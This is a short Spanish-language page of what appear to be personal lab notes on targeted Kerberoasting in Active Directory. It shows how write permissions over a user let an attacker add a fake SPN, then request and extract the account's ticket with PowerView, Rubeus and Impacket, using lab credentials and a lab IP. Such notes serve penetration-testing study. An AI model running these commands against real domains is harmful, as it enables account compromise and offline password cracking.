> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/kerberos/kerberoasting-via-spn-modification.md).
# Kerberoasting mediante modificación de SPN
### Principio
Si tienes permisos de escritura sobre un usuario, por ejemplo:
```
GenericWriteGenericAllWriteProperty
```
podemos añadirle un SPN.
Una vez añadido el SPN, esta cuenta se vuelve vulnerable a Kerberoasting.
### Ejemplo con `evy.marnia`
En tu laboratorio, imaginemos que `user1` tiene permiso de escritura en:
```bash
evy.marnia
```
Añadimos un SPN:
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### Comprueba la creación del SPN
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
Deberíamos ver el SPN añadido:
### Obtén el ticket con Rubeus
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### Recupera el ticket con Impacket
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```
---
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